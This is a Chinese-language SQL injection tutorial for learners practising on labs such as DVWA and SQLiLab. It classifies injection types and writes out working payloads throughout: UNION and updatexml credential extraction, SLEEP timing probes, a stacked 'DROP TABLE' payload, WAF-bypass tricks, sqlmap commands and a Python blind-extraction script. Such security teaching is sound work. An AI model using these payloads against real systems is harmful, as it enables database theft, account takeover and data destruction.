SQL注入这东西,圈里人叫它“老伙计”不是没道理的。从Web安全诞生那天起它就存在,直到今天,翻看各类漏洞赏金报告和攻防演练复盘,它依然是高发问题。很多新手朋友一上来就急着拿工具扫、拿Payload怼,结果遇到一个带WAF的站就懵了,或者盲注半天拿不到数据,根本原因往往在于:对SQL注入的分类体系没有建立清晰认知。你连自己打的是哪种注入都不知道,怎么选对的利用方式?
这篇就把SQL注入的分类彻底讲透。从注入点类型到注入数据类型,再到服务器响应特征,一层层拆开,配合我在靶场和实战里踩过的坑,尽量让零基础的也能看懂,有点基础的也能查漏补缺。
1. 先分清两类概念:注入点和注入类型
很多教程把“注入点分类”和“注入类型分类”混在一起讲,这是新手最头疼的地方。我习惯把它们拆成两个维度来理解,这样思路会清晰很多。
第一个维度是注入点在哪,也就是SQL语句拼接的位置和方式。这决定了你构造Payload时的“语法环境”。比如注入点是数字还是字符串,直接决定了你需不需要闭合单引号。这一层主要分数字型、字符型、搜索型。
第二个维度是注入后如何获取数据,也就是服务器对恶意输入的响应特征。这决定了你采用哪种利用技术。比如页面有回显,直接用联合查询;没回显但有报错信息,用报错注入;啥都没有,只能靠布尔盲注或时间盲注。这一层包括联合查询、报错注入、布尔盲注、时间盲注、堆叠注入、宽字节注入、二次注入等。
举一个我常用来说明的例子。把SQL注入类比成撬锁进门:
- 注入点分类,相当于分析门锁安装的位置和结构——锁芯是外露还是内嵌?门框有没有缝隙?这决定了你用什么工具去撬、从哪个角度发力。
- 注入类型分类,相当于进门之后你在屋里怎么找东西——衣柜里翻、床底摸、还是砸保险箱?这决定了你拿到战利品的方式。
理解了这个框架,后边所有的细节都是在这个骨架上添肉。我先从注入点的两个底层分类讲起,因为这是判断一切注入类型的起点。
1.1 核心基础:数字型注入与字符型注入怎么区分
判断是数字型还是字符型,是SQL注入第一步要做的事。这个判断错了,后面全盘皆输。
数字型注入的典型场景是这样的。
SELECT * FROM users WHERE id = 1;这个id是数字类型,用户输入直接拼进SQL语句,没有引号包裹。攻击者输入1 AND 1=1,拼接后的语句是:
SELECT * FROM users WHERE id = 1 AND 1=1;这条语句语法完全正确,页面正常返回。输入1 AND 1=2时拼接为:
SELECT * FROM users WHERE id = 1 AND 1=2;1=2恒为假,查询结果为空,页面表现异常。这种“输入真条件返回正常,输入假条件返回异常”的现象,就是数字型注入最典型的判断方法。
字符型注入则完全不一样。它的SQL语句长这样:
SELECT * FROM users WHERE username = 'admin';用户的输入被单引号包裹。此时如果直接输入admin AND 1=1,拼接后变成:
SELECT * FROM users WHERE username = 'admin AND 1=1';整个admin AND 1=1被当成了一个字符串去匹配,查询结果为空。所以字符型注入必须先闭合前面的单引号,输入admin' AND 1=1 --,拼接结果是:
SELECT * FROM users WHERE username = 'admin' AND 1=1 -- ';--是SQL注释符,后面的单引号被注释掉,语句语法恢复正常。这就是为什么字符型注入的Payload里永远少不了引号闭合操作。
实操里我判断注入类型,最笨也最稳的方法就是传一个单引号进去看反应。如果页面报错、空白或返回异常,说明大概率存在字符型注入;如果输单引号页面一切正常,再试数字运算(比如id=2-1看返回的id是不是1),能生效就是数字型。DVWA靶场的SQL Injection模块,Low级别就是最标准的数字型注入练习,Medium和High级别开始加入转义和类型转换,新手可以按这个梯度刷。
一个容易忽略的细节:不同的数据库注释符不一样。MySQL用
--(后面至少一个空格)或#,Oracle和SQL Server用--。Payload写对了注释符没选对,同样白搭。这也是为什么我在测试时会先确认后端数据库类型。
1.2 搜索型注入:经常被忽略的隐藏入口
搜索型注入是字符型注入的一个变种,但判断方法和利用方式又有所不同,值得单独拎出来讲。它常出现在站内搜索功能里,SQL语句一般长这样:
SELECT * FROM products WHERE name LIKE '%' + keyword + '%';比如用户输入手机,实际执行的是:
SELECT * FROM products WHERE name LIKE '%手机%';注意,用户输入被夹在%和单引号之间。这意味着闭合单引号还不够,还得处理前面的%。经典Payload是输入%' OR 1=1 --,拼接后变成:
SELECT * FROM products WHERE name LIKE '%%' OR 1=1 -- %';前半段%%能匹配所有内容,后面的OR 1=1让条件恒真,于是整表数据全部返回。在CTF题和真实站点渗透中,搜索框往往是比参数注入更容易被忽略的突破口,因为很多开发者只对GET参数做了防护,忘了搜索关键词也是用户输入。Pikachu靶场的搜索型注入模块就是为这个场景量身定做的,建议新手务必过一遍。
判断搜索型注入的方法也不复杂:输入一个关键词能正常搜索,再输入关键词加单引号如果报错或返回全部结果,基本就可以往这个方向测了。另外注意观察URL——搜索框的请求可能是POST提交,也可能是GET提交,两者都值得测。
2. 从数据传输通道看分类:GET、POST、Cookie与Header注入
注入点按SQL拼接方式分完之后,还有一个更贴近实战的分类维度——数据是通过什么通道传进SQL语句的。这个维度直接决定了你在哪里构造输入、用什么工具去测试。
2.1 GET注入和POST注入:最主流的两种战场
GET注入是最基础也最常见的。参数直接出现在URL里,典型样例如:
http://example.com/news.php?id=2id参数在地址栏可见,手工测试和工具测试都非常方便。浏览器直接改URL就能验证,Burp Suite抓包改参也一样。这类注入在新闻详情页、商品页、文章页里频繁出现,因为开发者通常会把ID参数直接用字符串拼接方式处理。
POST注入则隐蔽得多。数据通过请求体传输,URL里看不到任何参数,多见于登录表单、搜索框、数据提交页面。测试POST注入时,Burp Suite是主力工具——抓到登录请求后,在参数值位置试注入语句。这里有一个新手常见困惑:登录框试用户名密码时常常被提示“用户名或密码错误”,这其实是逻辑问题。测试POST注入不该只盯着登录功能,更要关注提交后参与数据库查询的隐藏参数、排序参数、分页参数等。
2.2 Cookie和Header注入:检测盲区里的大鱼
比POST注入更隐蔽的是Cookie注入和User-Agent、Referer、X-Forwarded-For等HTTP头注入。这两种的共同特点是:开发者的输入校验通常只覆盖URL参数和表单字段,对Cookie和请求头里的数据默认信任,很少做过滤。
我记得有一年参加某次授权渗透测试,目标站点的参数全部做了参数化查询,常规注入全部失败。最后是抓包时发现服务器会读取Cookie中的用户偏好选项拼进SQL查询,顺着Cookie参数一路测下去,才在会员积分查询功能那里拿到了注入点。后来在复盘时写过一句话:防护最严的站,漏洞往往长在不被注意的边角料里。
Cookie注入的判断方法很简单——用工具请求时,修改Cookie中对应参数的值,观察服务器响应变化。Header注入同理,在Burp Suite里修改User-Agent为' AND 1=1 --,如果页面响应异常,这个头就可能存在注入。CTFHub技能树的“HTTP头注入”关就是练这个的,推荐刷一遍。
关于这一分类,我整理过一张速查表:
| 注入通道 | 出现场景 | 测试方式 | 常见载体 |
|---|---|---|---|
| GET注入 | 文章ID、商品ID、分类ID | 浏览器改URL / Burp改参 | ?id=、?page=、?cid= |
| POST注入 | 登录、搜索、数据提交 | Burp抓包改参 | username、keyword、sort |
| Cookie注入 | 用户偏好、记住密码 | Burp改Cookie | user_id、theme、lang |
| Header注入 | 日志记录、统计插件 | Burp改请求头 | User-Agent、Referer、X-Forwarded-For |
3. 按获取数据的方式分类:一次讲透七大主流注入类型
如果把前面的分类比作“入口选择”,这一节讲的就是“进屋之后怎么翻东西”。这是整个分类体系里信息量最大、实战指导意义最强的一部分。我按利用条件从简单到复杂依次拆解。
3.1 联合查询注入:有回显情况下的核弹级Payload
联合查询注入,江湖人称UNION注入,是速度最快、效率最高的注入方式。它利用SQL中UNION操作符的语义——将两条或多条查询的结果合并返回——在原始查询后面拼上一条攻击者构造的查询,直接控制页面显示内容。
先说原理。原始SQL是:
SELECT name, email FROM users WHERE id = 1;利用UNION拼入恶意查询:
SELECT name, email FROM users WHERE id = 1 UNION SELECT username, password FROM admin;关键在于两条查询的列数必须相同。如果原始查询返回3列,你UNION的查询只有2列,数据库直接报错。所以利用UNION注入的第一步永远是确定列数。最常用的方法是ORDER BY逐步试探:
1' ORDER BY 1 -- 1' ORDER BY 2 -- 1' ORDER BY 3 --不断递增ORDER BY后面的数字,直到页面报错,说明列数比当前值少一。比如ORDER BY 4报错、ORDER BY 3正常,那么原始查询就是3列。另一种方法是UNION SELECT NULL, NULL, NULL——NULL的列数对了就成功,多了少了都会报错。
确定列数后,还要找到页面回显的列号。步骤是用UNION SELECT 1,2,3,看页面哪个位置显示了数字,那个位置对应的列就是可以回显的“输出位”。在输出位写入敏感查询,比如version()、database()、user(),就能把数据库版本、库名、账号全暴露出来。下一步就是常规的查库名、查表名、查字段名、脱数据的流程。
用UNION注入时经常遇到一个情况:页面只显示第一行查询结果,UNION后面的结果不显示。解决办法是让原始查询的结果为空,比如把id改成不存在的负数(id=-1),这样页面展示的就完全是UNION查询的内容了。DVWA的SQL Injection模块在Low级别就这么玩的:1' UNION SELECT user, password FROM users --直接拿到账号密码哈希。
3.2 报错注入:一句话让数据库帮你把数据说出来
报错注入适用于一种尴尬的情况——页面没有数据回显,但会把SQL语句的报错信息原样打出来。此时可以利用数据库的报错机制,让报错信息里夹带查询结果。最经典的两个报错手段是updatexml()和extractvalue(),它们是MySQL的XML函数,传入非法XPath表达式时会报错,且报错内容里包含我们精心构造的子查询结果。
比如这条经典Payload:
AND updatexml(1, concat(0x7e, (SELECT password FROM users LIMIT 1), 0x7e), 1)concat(0x7e, ...)的作用是给查询结果前后加上波浪号~,因为合法的XPath路径不允许以~开头,触发报错的同时把结果带出来。执行后MySQL会扔出这样的报错:
XPATH syntax error: '~admin~'admin就是我们要的数据。
SQL Server和Oracle也有各自的报错机制。SQL Server常用的手段是convert(int, @@version)——把版本信息强制转换成整数,类型转换失败时报错信息里会带上版本字符串。Oracle常用ctxsys.drithsx.sn(),不过现在Oracle注入在实际中遇到的机会相对少一些。我个人的习惯是:确认数据库类型后,第一时间想到最适合当前数据库的报错函数,而不是背一串通用Payload。报错注入速度上比盲注快得多,但前提是应用没有禁用错误回显。现在很多框架默认关掉了详细报错,报错注入的用武之地越来越少,但宝刀不老,在存量系统测试中价值依然很大。
3.3 布尔盲注:页面只有“是”和“否”,也能抽丝剥茧
当页面没有回显,也没有报错信息,只剩下一张正常页和一张空白页(或正常内容与异常内容)的区别时,布尔盲注就登场了。它的原理是把SQL查询变成一个又一个“判断题”,通过页面表现来推断数据的每一位。
这是初学者最抗拒的一类注入,因为效率低、耗时、容易烦。但我想说,布尔盲注是训练SQL注入逻辑思维的必修课。它的判断逻辑很简单:构造条件判断语句,页面正常返回代表条件为真,页面异常代表条件为假。比如先猜当前数据库名的长度:
1 AND LENGTH(DATABASE())=1 -- 假 1 AND LENGTH(DATABASE())=2 -- 假 1 AND LENGTH(DATABASE())=3 -- 真确定长度为3后,再用SUBSTRING逐字符爆破库名:
1 AND SUBSTRING(DATABASE(),1,1)='a' -- 假 1 AND SUBSTRING(DATABASE(),1,1)='b' -- 假 1 AND SUBSTRING(DATABASE(),1,1)='c' -- 真第一个字符是c,以此类推拼出完整库名。手工做这个会怀疑人生,所以我强烈建议在真实测试场景中交给自动化工具。SQLMap自带布尔盲注模块,技术选型上我用得比较多的是--technique=B参数强制指定布尔盲注。不过工具之前必须先手工确认注入点和布尔状态的差异特征,否则工具可能直接判定目标不存在注入。
CTFHub技能树的SQL注入关卡里,布尔盲注是必刷项目。刷的时候别急着跑脚本,先手工爆几个字符找手感,你会对“基于真假的逻辑推理”有更深的体会。
3.4 时间盲注:数据库没反应时,让时间替你说话
比布尔盲注更极端的情况:无论条件真假,页面返回内容完全一样,连“正常/异常”的差异都不存在。此时若数据库支持执行延时函数,就可以用时间盲注——通过响应耗时差异来推断条件真假。
MySQL的时间盲注核心函数是sleep():
1 AND IF(1=1, SLEEP(5), 0) --如果条件成立,数据库强制等待5秒,页面响应时间明显变长;条件不成立则不延时,快速返回。通过多次测试的响应时间差,逐字推断数据。SQL Server里对应的是WAITFOR DELAY '0:0:5',Oracle是DBMS_LOCK.SLEEP(5)。
时间盲注最大的问题是网络波动和并发干扰。我实测的经验是:设置一个比网络正常延迟明显更大的延时值(3~5秒为宜),并对每个判断至少测两遍取稳定结果。延时太小会被网络抖动淹没,延时太大效率太低。这个分寸感是做时间盲注最关键的实操经验。
另外提醒一句,时间盲注对数据库连接池也是一种变相压力测试。在正式渗透测试项目里,如果目标业务不可中断,我不建议用时间盲注做大批量数据提取,改用其他注入方式或者干脆上SQLMap调低线程,避免给目标数据库带来不必要的负担。
3.5 堆叠注入:一条语句做不了的事,那就执行多条
堆叠注入的本质是允许一次请求执行多条SQL语句。SQL标准里用分号分隔语句,如果后端代码直接把拼接后的完整SQL交给数据库执行,且没有限制语句数量,那么1; DROP TABLE users --这样的Payload就能在执行查询后顺手删表。
相比其他注入类型,堆叠注入能做到的事情更多:可以执行INSERT、UPDATE、DELETE、CREATE甚至调用存储过程,不止局限于查询数据。这也是它在CTF题目中很吃香的原因——有时候一道题用常规注入拿不到flag,堆叠注入直接执行SELECT或者改数据就绕过去了。
但我必须强调一个事实:堆叠注入在真实环境中的触发条件其实比较苛刻。主要原因在于大多数数据库驱动和ORM框架默认不支持多语句执行,比如PHP的mysql_query()函数就明确禁止执行多条语句,而mysqli_multi_query()才行;Java的JDBC也需要特殊配置才允许。另一个限制因素是WAF对分号的拦截——很多WAF会直接拦截含有分号加常见危险关键词的请求。
所以堆叠注入的正确打开方式是:先确认数据库连接层支持多语句执行,再想办法绕过WAF对分号的检测。SQLiLab平台的Less-37到Less-41就是堆叠注入的专项练习,后面两关还会涉及堆叠注入加时间盲注的组合花活,把这些关刷完你对堆叠注入的理解就到位了。
3.6 宽字节注入:编码差异引发的经典漏洞
宽字节注入是中文网站时代最经典的注入场景之一,根源在于数据库字符集配置不当。这个例子最能说明一个道理:安全漏洞有时不是程序员写错了代码,而是环境的隐含假设被突破了。
原理是这样的。为了防御注入,很多程序使用addslashes()这类函数给单引号加反斜杠——用户输入'变成\',SQL语句里单引号被转义,无法闭合。正常情况下这个防御是有效的。但在MySQL使用GBK等宽字节字符集时,攻击者输入%df%27(即df'),程序转义后变成%df%5c%27,也就是df\'。MySQL解析时发现%df%5c组合起来是一个合法的GBK汉字,于是后面的单引号逃逸出来,重新成为可控的闭合符。
一句话总结:宽字节注入通过构造一个和反斜杠组成合法汉字的字节序列,把转义用的反斜杠“吃掉”,从而让单引号复活。经典Payload是%df%27 UNION SELECT 1,2,3 --。
现在部署MySQL时官方推荐UTF-8字符集,宽字节注入的生存空间大幅缩水,但存量系统里GBK字符集依然存在,CTF里也常拿它出题。Pikachu靶场的宽字节注入模块是入门必刷关卡。做这类题时有一个注意点:URL编码里的%df是固定的“吞反斜杠”字节,换成其他字节不一定有效,不要随意改动。
3.7 二次注入:最阴险的潜伏者
二次注入是我个人认为最难防御也最难发现的注入类型,因为它的恶意输入在第一次请求时不会触发任何效果,而是被数据库“干干净净”地存了下来。当下一次业务逻辑把这个数据取出来拼进SQL语句时,注入才真正发生。
举个例子。注册功能允许用户名包含特殊字符,只做了简单过滤但没去掉单引号。攻击者注册一个用户名叫admin' --,注册时数据库执行的是参数化插入,恶意输入只是被当普通字符串存储,不影响任何逻辑。等用户修改密码时,后台执行这样的语句:
UPDATE users SET password='newpass' WHERE username='admin' -- ';注意,admin' --取出来后直接被拼进了SQL,单引号闭合了前面的字符串,--注释掉了后面的内容,这条语句就变成了修改管理员密码。攻击者通过一次看似无害的注册,最终拿到了管理员权限。
二次注入最可怕的地方在于它的攻击过程被拆成了多个“无害步骤”,单看任何一步都不会触发WAF或过滤规则。防御二次注入的正确姿势只有一个——任何从数据库取出来再拼SQL的值,都必须当作不可信数据重新做参数化处理。有些程序员只校验了输入侧,忘了输出复用侧的风险。
DVWA的High级别SQL Injection模块就是二次注入的经典示例,建议把源码读一遍,理解数据入库、出库、拼接的完整链路。CTF里二次注入也经常作为综合题目的一个环节出现,配合其他漏洞一起玩。
4. 不同类型注入的识别判断流程
前面分类拆得细,实战里怎么快速定位盲打?我根据经验总结了一套判断流程,用起来很顺。
判断的第一步永远是先确认注入点类型。数字型直接拼参数,字符型要闭合引号,搜索型要处理%。这一步判断错了,后面全部白费。方法很简单:分别传1'和1,观察页面差异,再分别试1 AND 1=1与1 AND 1=2,看是否存在真假差异。差异存在,说明有注入且类型确定。
第二步是确认数据库类型和版本。可以试version()、@@version、dbms_random.value这类数据库特有函数,哪个有反应就说明是哪个库。不确认数据库类型就硬套Payload,是新手最常见的问题——MySQL的--注释和SQL Server的WAITFOR混着用,什么都不好使。
第三步是确认回显和报错条件。在注入点试UNION SELECT 1,2,3,有回显就走联合查询;试updatexml()看报错信息能否带回数据,能就走报错注入。两者都不行,再判断页面是否有真假差异,有就是布尔盲注;没差异就试sleep(),能延时就是时间盲注。
最后一步是选择利用方式。有回显且列数可测:UNION注入,效率最高。报错信息可见:报错注入。只有真假差异:布尔盲注,脚本自动化提取。完全没有差异:时间盲注,耐心活。多语句可用且WAF允许:堆叠注入,能力最强。
我把这个流程整合成了一张速查表,贴在下面方便随时查。
| 特征表现 | 注入类型 | 核心函数/操作 | 工具支持 |
|---|---|---|---|
| 页面有数据回显 | 联合查询注入 | UNION SELECT | SQLMap--technique=U |
| 有报错信息回显 | 报错注入 | updatexml()、extractvalue() | SQLMap--technique=E |
| 页面真假响应不同 | 布尔盲注 | AND、SUBSTRING()、ASCII() | SQLMap--technique=B |
| 响应无任何差异 | 时间盲注 | SLEEP()、WAITFOR DELAY | SQLMap--technique=T |
| 支持多语句执行 | 堆叠注入 | 分号分隔多条SQL | SQLMap--stacked-queries |
| GBK等宽字节字符集 | 宽字节注入 | %df%27 | 手工为主 |
| 恶意数据被存储后复用 | 二次注入 | 存储型Payload,触发点在后续功能 | 手工为主 |
5. 靶场实战路线:从DVWA到SQLiLab的进阶练习
分类理论学得再多,不上手都是纸上谈兵。好在安全圈最不缺的就是练习平台,这里给新手一条清晰的进阶路线。
第一个必刷的靶场是DVWA(Damn Vulnerable Web Application)。它的SQL Injection模块从Low到High三个级别递进:Low级别就是最基础的联合查询注入,页面直接回显查询结果,适合练手;Medium级别加入了mysqli_real_escape_string()转义,字符型注入被堵死,但数字型注入依然存在,适合练习判断注入点类型;High级别则是二次注入思路,需要跨请求利用。DVWA还有一个SQL Injection (Blind)模块专门练盲注,布尔盲注和时间盲注都有,强烈建议把这一整套全刷完。
第二个进阶靶场是SQLiLab。这个平台的关卡设计就是从实战角度出发的,Less-1到Less-22覆盖了数字型、字符型、搜索型、报错注入、布尔盲注、时间盲注、宽字节注入等几乎所有类型。每关都有源码提示,刷的时候一定要先自己分析再翻答案——读源码的时间一定要大于打Payload的时间。很多人刷完SQLiLab毫无收获,就是因为全程照着别人的Payload抄,关了页面脑子一片空白。
第三个综合性靶场是Pikachu。它的SQL注入模块覆盖面很广,搜索型注入、报错注入、宽字节注入、二次注入全都有,难度梯度合理,界面也比SQLiLab友好。Pikachu特别适合用来验证“分类”思维——每一关动手前,先判断这是什么注入点、什么注入类型,再决定用什么Payload。
第四个是CTFHub技能树的SQL注入模块。它的关卡偏CTF风格,里面对联合查询注入、布尔盲注、时间盲注、堆叠注入、HTTP头注入等都有专项练习。CTF题和靶场题最大的区别在于,CTF题经常给你意想不到的约束——比如过滤了某些关键字、限制了某些字符,这会倒逼你理解注入原理而不是背Payload。这个思路转换很重要:刷完靶场只会用现成Payload,刷完CTF才知道Payload为什么这么写。
6. 常见问题与排查技巧实录
最后把我在实际测试教学中遇到的典型问题集中整理一下,很多坑不是靠读书能避开的,是真的踩过才知道。
问题一:判断出是数字型注入,但直接拼数字没反应
排查思路:检查SQL语句是否真的以数字方式拼接。有时候开发者用了intval()做类型转换,此时数字型注入会失效;有时候是后端把参数包了引号再拼进语句,实际是字符型注入,只是你还没发现。建议换一种判断方法交叉验证,比如传2-1看返回结果对应的是不是id=1,如果是,说明存在数字型注入并且可以被利用。
问题二:UNION注入报错“The used SELECT statements have a different number of columns”
这是列数判断错误。别急着加列,用ORDER BY从1开始逐步递增测出正确列数,再用UNION SELECT NULL, NULL, NULL验证。还有一个细节:UNION SELECT NULL, NULL, NULL在不同数据库里返回结果可能不同,MySQL支持每列都是NULL,某些数据库(如Oracle)要求NULL类型匹配或使用SELECT NULL FROM dual。
问题三:布尔盲注的时候页面真假响应有时正常有时异常,不稳定
大概率是页面本身有动态内容,比如广告、随机推荐、用户状态等。这种情况下不能用“整个页面是否一样”作为判断标准,而是应该寻找一个固定特征——比如特定的关键词、特定的HTML片段、特定的HTTP状态码——作为“真”的标志。我来回调试时发现,只看Content-Length往往比看整页内容变化更可靠,前提是页面长度差异足够稳定。
问题四:时间盲注设置了SLEEP(5),但所有的请求响应都是5秒左右
这说明条件判断可能一直为真,也可能一直为假,或者sleep()执行本身不受条件控制。先检查Payload的逻辑——IF条件写没写对,再检查是不是网络原因导致的假延时(比如代理、CDN缓存)。最稳妥的做法是分别测试一个恒真条件和一个恒假条件,看看响应时间是否有明显差异。如果没有差异,考虑直接换布尔盲注判断。
问题五:SQLMap跑不出注入,但手工测试感觉有注入
SQLMap跑不出来有很多原因:目标有WAF、参数需要登录态、请求需要特定顺序、存在CSRF Token、数据包有签名校验等。最直接的办法是打开Burp Suite抓SQLMap的请求包,看看它发的Payload是否完整、是否和浏览器请求一致。SQLMap本质上是自动化替换参数,如果它连基础请求都过不去,自然测不出结果。手工确认注入后,用--data、--cookie、--headers参数补全请求上下文,再指定--technique限定注入类型,成功率会大幅提升。
问题六:页面是POST提交,SQLMap怎么测
先用Burp Suite抓包,确认POST请求的完整参数,然后用--data参数指定请求体。比如sqlmap -u http://target/login.php --data="username=admin&password=123&submit=Login"。注意,如果存在CSRF Token,每次请求都会变化,SQLMap需要配合--csrf-token参数自动获取新Token重放。这是自动化测试中最容易卡住的环节。
问题七:遇到WAF拦截怎么办
这里给几个我实战中常用的稳妥思路:大小写混淆(SeLeCt)、注释符分割(UN/**/ION)、内联注释(/*!50000SELECT*/)、等价函数替换(SUBSTRING换MID)、编码绕过(URL全编码、双重URL编码)。但核心思路不是“死记绕过Payload”,而是先搞清楚WAF拦截的是什么规则——它可能只拦截了union这个关键字,也可能拦截了information_schema。搞清楚拦截规则之后,用等效写法绕过即可。
7. 主流自动化工具选型与用法笔记
手工理解分类很重要,但真实渗透测试中效率同样重要,该上工具的时候别犹豫。这里聊几款我用得比较多的工具和它们的适用场景。
SQLMap是绕不开的第一选择。它支持联合查询、布尔盲注、时间盲注、报错注入、堆叠注入等几乎全部类型,还能自动识别数据库指纹。实际测试中,我的标准用法是先用--batch --dbs跑库名,再用-D dbname --tables列表名,逐级深入。--technique参数可以限定注入类型,比如明确知道是时间盲注就写--technique=T,能节省大量测试时间。--tamper参数加载绕过脚本,在WAF场景下尤其有用。
Burp Suite的作用在分类判断阶段更突出——它是手工测试的主力工具。Repeater模块可以快速重放请求、修改参数、观察响应;Intruder模块可以做字典爆破和位置爆破。测试流程中我一般先用Burp手工确认注入类型和注入点位置,再交给SQLMap做批量提取。很多人喜欢一上来就跑SQLMap,但我一直坚持:工具是放大器,不是探测仪。手工确认过的东西,工具才能把它放大到极致。
对于时间盲注这类慢速注入,我偶尔也会写Python脚本辅助。核心逻辑无非是构造布尔条件请求、按响应时间或响应内容判断真伪、逐字符破解。这里放一个简单的布尔盲注脚本骨架供参考:
import requests url = "http://target/login.php" cookies = {"session": "your_session_id"} charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=" database_name = "" for i in range(1, 20): found = False for ch in charset: payload = f"1' AND SUBSTRING(DATABASE(),{i},1)='{ch}' -- " data = {"username": payload, "password": "x"} resp = requests.post(url, data=data, cookies=cookies) if "Welcome" in resp.text: # 假设正常登录才有Welcome database_name += ch found = True break if not found: break print(f"[*] database: {database_name}") print(f"[+] final: {database_name}")用这种脚本时务必控制并发和请求速度,毕竟这是给目标服务器添压力,做安全测试的边界感和分寸感还是要有。
SQL注入分类这块内容,说多也多,一个晚上讲不完;说少也少,本质上就是“注入点在哪、数据怎么拿”两个问题。但我倾向认为,分类不是用来背的,是用来帮助思考和决策的。你在刷靶场或者实战时,遇到每一个疑似注入点,都先在脑子里走一遍分类流程,判断注入点类型、判断数据库、判断回显条件、选择利用方式——慢慢地,这些分类就会从知识变成肌肉记忆。
最后再分享一个小技巧:练习分类最好的办法不是看文章,是拿DVWA的Low级别题目,把它当坐标系,每学完一种注入类型就回到这个坐标系里做对比实验。比如你刚学会联合查询注入,就去比一比如果用布尔盲注去测同一个注入点会发生什么、响应有何不同;学会了时间盲注,就去思考为什么这个注入点不能走联合查询。这种横向比较,能让知识串联成网。